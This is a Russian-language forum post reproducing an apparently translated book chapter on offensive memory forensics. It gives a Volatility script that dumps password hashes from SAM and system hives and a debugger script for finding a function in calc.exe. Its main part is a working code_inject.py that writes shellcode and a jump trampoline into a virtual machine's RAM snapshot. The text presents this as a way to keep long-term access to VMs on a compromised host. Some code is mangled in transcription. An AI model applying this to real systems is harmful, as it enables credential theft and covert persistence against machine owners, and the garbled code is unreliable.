    ➍   if registry.all_offsets[offset].endswith("\\system"):
            sys_offset = offset
            print "[*] System: 0x%08x" % offset
    
        if sam_offset is not None and sys_offset is not None:
    ➎      config.sys_offset = sys_offset
           config.sam_offset = sam_offset
    
    ➏      hashdump = HashDump(config)
    
    ➐      for hash in hashdump.calculate():
                print hash
    
            break
    
    if sam_offset is None or sys_offset is None:
         print "[*] Failed to find the system or SAM offsets."
    Сначала мы создаем новый экземпляр RegistruApi ➊, который является вспомогательным классом с самыми распространенными функциями. В качестве параметра, здесь используется только текущая конфигурация. Затем вызывается функция populate_offsets ➋, которая выполняет то же самое, что и при запуск команды hivelist, что мы делали ранее. Далее, мы начинаем просматривать каждый обнаруженный улей в поисках SAM и ➌ system ➍.

    Когда ульи обнаружены, мы обновляем текущий объект конфигурации с учетом соответствующих смещений ➎. Затем мы создаем объект HashDump ➏ и передаем текущий объект конфигурации. Последний шаг ➐ - перебор результатов с целью получения имен пользователя и соответствующих хешей.

    Теперь запустим этот скрипт, как отдельный Python файл:

    $ python grabhashes.py

    вы должны увидеть тот же результат, что и при запуске двух плагинов отдельно друг от друга. Единственное, что я бы посоветовал — объединить функциональность (или позаимствовать существующую функциональность), но при этом пройтись по исходному коду Volatility, чтобы посмотреть, правильно ли все работает «изнутри». Volatility не является библиотекой Python, как Scapy, но изучая, как разработчики используют свой код, вы поймете, как правильно работать с классами и функциями.

    А теперь, давайте перейдем к обратному проектированию, а также внедрению кода для заражения виртуальной машины.

    Прямое внедрение кода


    Технология визуализации сегодня используется все чаще, то ли из-за чрезмерно осторожных пользователей, кросс-платформенных требований для офисного ПО или плотной концентрации служб в самых мощных аппаратных системах. В любом случае, если вы скомпрометировали систему хоста и видите, что виртуальная машина находится в деле, то почему бы не попасть внутрь. Если вы также видите, что снимки виртуальной машины летают повсюду, то они могут стать идеальным местом для внедрения шелл-кода, как способа долговременного хранения. Если пользователь вернется к зараженному снимку, то ваш шелл-код исполнится, а вы получите свежую оболочку.

    Для того чтобы внедрить наш код, нужно найти идеальное место для внедрения. Если у вас есть время, то лучше всего найти главный служебный цикл в SYSTEM, потому что тогда вам будет гарантирован высокий уровень привилегии. Однако недостатком можно назвать то, что если вы выберите неверное место или ваш шелл-код не до конца прописан, то вы сможете нарушить весь процесс, вас может поймать конечный пользователь или вы просто убьете саму виртуальную машину.

    Мы начнем с простого обратного проектирования приложения Windows калькулятор, которое будет служить нам в качестве начальной цели. Первый шаг – загружаем calc.exe в Immunity Debugger[26] и прописываем простой код, который поможет нам найти функцию кнопки =. суть заключается в том, чтобы мы могли быстро осуществить обратное проектирование, проверить наш метод внедрения кода и без труда воспроизвести результаты. Используя это в качестве основы, вы сможете дальше находить более сложные цели и внедрять более продвинутые шелл-коды. Конечно, нужно найти компьютер с поддержкой FireWire и вперед!

    Начнем с простого - Immunity Debugger PyCommand. Откройте новый файл в Windows XP на вашей виртуальной машине и назовите его codecoverage.py. Убедитесь, что вы сохранили файл в главной директории установки Immunity Debugger под папкой PyCommands.
    Код:
    from immlib import *
    
    class cc_hook(LogBpHook):
    
          def __init__(self):
    
               LogBpHook.__init__(self)
               self.imm = Debugger()
    
          def run(self,regs):
    
              self.imm.log("%08x" % regs['EIP'],regs['EIP'])
              self.imm.deleteBreakpoint(regs['EIP'])
    
              return
    
         def main(args):
    
             imm = Debugger()
    
             calc = imm.getModule("calc.exe")
             imm.analyseCode(calc.getCodebase())
    
             functions = imm.getAllFunctions(calc.getCodebase())
    
             hooker = cc_hook()
            for function in functions:
                hooker.add("%08x" % function, function)
    
            return "Tracking %d functions." % len(functions)
    Это простой скрипт, который находит каждую функцию в calc.exe и для каждой создает разовую точку останова. Это означает, что для каждой исполненное функции, Immunity Debugger выдает адрес функции и затем удаляет точки останова, чтобы бы не продолжали постоянно записывать адреса одной и той же функции. Загружаем calc.exe в Immunity Debugger, но пока не запускайте. Затем в панели команд внизу экрана Immunity Debugger вводим следующее:
    Код:
    ! codecoverage
    Теперь вы можете запустить процесс, нажав на F9. Если вы переключитесь на Log View (ALT-L), вы увидите, как прокручиваются функции. Теперь можете нажать на любое количество кнопок, кроме кнопки =. Суть в том, что вы должны исполнить все функции, кроме одной. Когда вы уже достаточно раз нажали на кнопки, правой кнопкой мыши нажмите на Log View и выберите Clear Window. Это удалит все ранее нажатые функции. Вы можете убедиться в этом, нажав на кнопку, на которую нажали до этого. Вы ничего не должны увидеть в окне. Теперь давайте нажмем на кнопку =. Сейчас вы должны увидеть единственную записать на экране (возможно, вам придется ввести выражение, например, 3+3 и затем нажать =). На моей виртуальной машине с Windows XP SP2 это адрес 0x01005D51.

    Итак, мы получили адрес, куда мы хотим внедрить код. Давайте начнем прописывать код Volatility, чтобы провернуть это грязное дельце.

    Это будет многоэтапный процесс. Сначала нам будет нужно просканировать память, чтобы найти процесс calc.exe, а затем пройтись по его объему памяти, чтобы найти место, куда внедрить шелл-код, а также найти физическое смещение в снимке RAM, который содержит функцию, найденную нами ранее. Затем мы вставим небольшой переход в функцию адреса для кнопки =, которая «перпрыгнет» в наш шелл-код и исполнит его. Шелл-код в этом примере я взял из своего выступления на канадско конференции по безопасности. Этот шелл-код использует жестко закодированные смещения, поэтому у вас расстояние может быть отличаться [27].

    Открываем новый файл, называем его code_inject.py и вбиваем следующий код.
    Код:
    importimportsys
    struct
    
    equals_button = 0x01005D51
    
    memory_file       = "WinXPSP2.vmem"
    slack_space       = None
    trampoline_offset = None
    
    # read in our shellcode
    ➊ sc_fd = open("cmeasure.bin","rb")
    sc       = sc_fd.read()
    sc_fd.close()
    
    sys.path.append("/Users/justin/Downloads/volatility-2.3.1")
    
    import volatility.conf as conf
    import volatility.registry as registry
    
    registry.PluginImporter()
    config = conf.ConfObject()
    
    import volatility.commands as commands
    import volatility.addrspace as addrspace
    
    registry.register_global_options(config, commands.Command)
    registry.register_global_options(config, addrspace.BaseAddressSpace)
    
    config.parse_options()
    config.PROFILE = "WinXPSP2x86"
    
    config.LOCATION = "file://%s" % memory_file
    Этот код настройки идентичен предыдущему коду, который мы писали, за исключением, что мы считываем шелл-код ➊, который будем внедрять в виртуальную машину.

    Теперь, давайте добавим оставшийся код на место, чтобы непосредственно осуществить внедрение.
    Код:
    import volatility.plugins.taskmods as taskmods
    
    ➊ p = taskmods.PSList(config)
    
    ➋ for process in p.calculate():
    
           if str(process.ImageFileName) == "calc.exe":
    
              print "[*] Found calc.exe with PID %d" % process.UniqueProcessId
              print "[*] Hunting for physical offsets...please wait."
    
    ➌          address_space = process.get_process_address_space()
    ➍          pages         = address_space.get_available_pages()
    Сначала мы создали новый класс PSList ➊ и передали текущую конфигурацию. Модуль PSList отвечает за просмотр всех работающих процессов, обнаруженных в снимке памяти. Мы перебираем каждый процесс ➋ и если обнаруживаем calc.exe, то получаем его полное адресное пространство ➌ и все страницы памяти этого процесса ➍.

    Сейчас мы просмотрим страницы памяти, чтобы найти часть памяти такого же размера, как и наш шелл-код, заполненный нулями. Мы также ищем виртуальный адрес дескриптора нашей кнопки =, чтобы мы смогли прописать наш трамплин. Введите следующий код и не забудьте об отступах.
    Код:
             for page in pages:
    
    ➊            physical = address_space.vtop(page[0])
    
                 if physical is not None:
    
                    if slack_space is None:
    
    ➋                   fd = open(memory_file,"r+")
                        fd.seek(physical)
                        buf = fd.read(page[1])
    
    ➌                   try:
                             offset = buf.index("\x00" * len(sc))
                             slack_space = page[0] + offset
    
                             print "[*] Found good shellcode location!"
                             print "[*] Virtual address: 0x%08x" % slack_space
                             print "[*] Physical address: 0x%08x" % (physical.
                             + offset)
                             print "[*] Injecting shellcode."
    
    ➍                       fd.seek(physical + offset)
                            fd.write(sc)
                            fd.flush()
    
    ➎                       # create our trampoline
                             tramp = "\xbb%s" % struct.pack("<L", page[0] + offset)
                             tramp += "\xff\xe3"
                             if trampoline_offset is not None:
                                break
            except:
                   pass
               fd.close()
    
    ➏      # check for our target code location
           if page[0] <= equals_button and .
                   equals_button < ((page[0] + page[1])-7):
    
              print "[*] Found our trampoline target at: 0x%08x" .
              % (physical)
    
    ➐         # calculate virtual offset
               v_offset = equals_button - page[0]
    
               # now calculate physical offset
               trampoline_offset = physical + v_offset
    
               print "[*] Found our trampoline target at: 0x%08x" .
               % (trampoline_offset)
    
               if slack_space is not None:
                  break
    
    print "[*] Writing trampoline..."
    
    ➑ fd = open(memory_file, "r+")
    fd.seek(trampoline_offset)
    fd.write(tramp)
    fd.close()
    
    print "[*] Done injecting code."
    Отлично! Теперь давайте разберем, что делает этот код. Когда мы перебираем каждую станицу, код возвращает двучленный список, где page [0] — это адрес страницы, а page [1] — это размер страницы в байтах. Когда мы просматриваем каждую страницу памяти, сначала мы находим физическое смещение (смещение в снимке RAM на диске) ➊ там, где лежит страница. Открываем снимок RAM ➋, ищем смещение и затем считываем всю страницу памяти. Затем мы пытаемся найти фрагмент NULL-байтов ➌ такого же размера, как и наш шелл-код. Именно здесь мы прописываем шелл-код в снимок RAM ➍. Как только мы нашли подходящее место и внедрили шелл-код, мы берем адрес нашего шелл-кода и создаем небольшой фрагмент опкодов ➎ в х86. Эти опкоды выдают следующую сборку:
    Код:
    mov ebx, ADDRESS_OF_SHELLCODE
    jmp ebx
    Не забывайте, что вы можете использовать функцию разбиения в Volatility, чтобы убедиться, что вы распределили байты в нужном вам количестве, и затем восстановить эти байты в своем шелл-коде. Это останется вашим домашним заданием.

    Последняя часть нашего кода — это проверка, осталась ли функция кнопки = на странице, где мы осуществляем итерацию ➏. Если мы находим ее, то вычисляем смещение ➐, а затем выписываем наш трамплин ➑. Трамплин на месте, значит должно осуществиться исполнение шелл-кода, который мы поместили в снимок RAM.

    Проверка на деле

    Первый шаг — закрыть Immunity Debugger, если он все еще запущен и закрыть все экземпляры calc.exe. Теперь запускаем calc.exe и ваш скрипт внедрения кода. Вы должны увидеть примерно такой результат:
    Код:
    $ python code_inject.py[*] Found calc.exe with PID 1936[*] Hunting for physical offsets...please wait.[*] Found good shellcode location![*] Virtual address: 0x00010817[*] Physical address: 0x33155817[*] Injecting shellcode.[*] Found our trampoline target at: 0x3abccd51[*] Writing trampoline...[*] Done injecting code.
    Замечательно! Это должно указывать на то, что вы нашли все смещения и внедрили шелл-код. Для проверки, просто зайдите в свою виртуальную машину, наберите 3+3 и нажмите кнопку =. Появится сообщение.

    Теперь вы можете попробовать сделать обратное проектирование в отношении других приложений или сервисов. Можно также улучшить этот способ и попробовать провести манипуляцию в объектами ядра, которые могут имитировать поведение руткита. Это отличные способы, чтобы познакомиться с компьютерно-техническим анализом памяти или применять их в ситуациях, когда у вас есть физический доступ к машине или вы находитесь на сервере с несколькими виртуальными машинами.

    [26] Скачайте Immunity Debugger здесь: http://debugger.immunityinc.com/

    [27] Если вы хотите написать свой MessageBox шелл-код, см. эту инструкцию: https://www.corelan.be/index.php/201...ction-to-win32 shellcoding/

Метки этой темы

Ваши права

  • Вы не можете создавать новые темы
  • Вы не можете отвечать в темах
  • Вы не можете прикреплять вложения
  • Вы не можете редактировать свои сообщения
  •  

Вход

Вход